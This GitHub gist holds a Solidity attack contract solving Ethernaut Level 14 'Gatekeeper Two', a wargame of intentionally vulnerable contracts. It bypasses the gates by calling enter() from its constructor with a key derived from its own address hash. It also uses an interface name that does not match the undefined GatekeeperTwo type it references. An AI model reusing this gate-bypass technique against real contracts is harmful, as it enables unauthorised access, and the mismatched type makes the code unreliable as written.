Skip to content

Instantly share code, notes, and snippets.

@tennisonchan
Last active January 19, 2022 06:44
Show Gist options
  • Save tennisonchan/3dc276cb3cf538db64127ea4104b3b99 to your computer and use it in GitHub Desktop.
Save tennisonchan/3dc276cb3cf538db64127ea4104b3b99 to your computer and use it in GitHub Desktop.
Ethernaut - Level 14 - Gatekeeper Two
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
interface GatekeeperTwoInterface {
function enter(bytes8 _gateKey) external returns (bool);
}
contract GatekeeperTwoAttack {
GatekeeperTwo public target;
address public targetAddress = 0x83eEe41AB63d62973bA8E3D3467DDb37bE58F22b;
constructor() public {
target = GatekeeperTwo(targetAddress);
uint64 key = uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ uint64(0) - 1;
target.enter.gas(50000)(bytes8(key));
}
function log() public view returns(uint64, bytes memory, uint64){
return (uint64(0) - 1, abi.encodePacked(msg.sender), uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))));
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment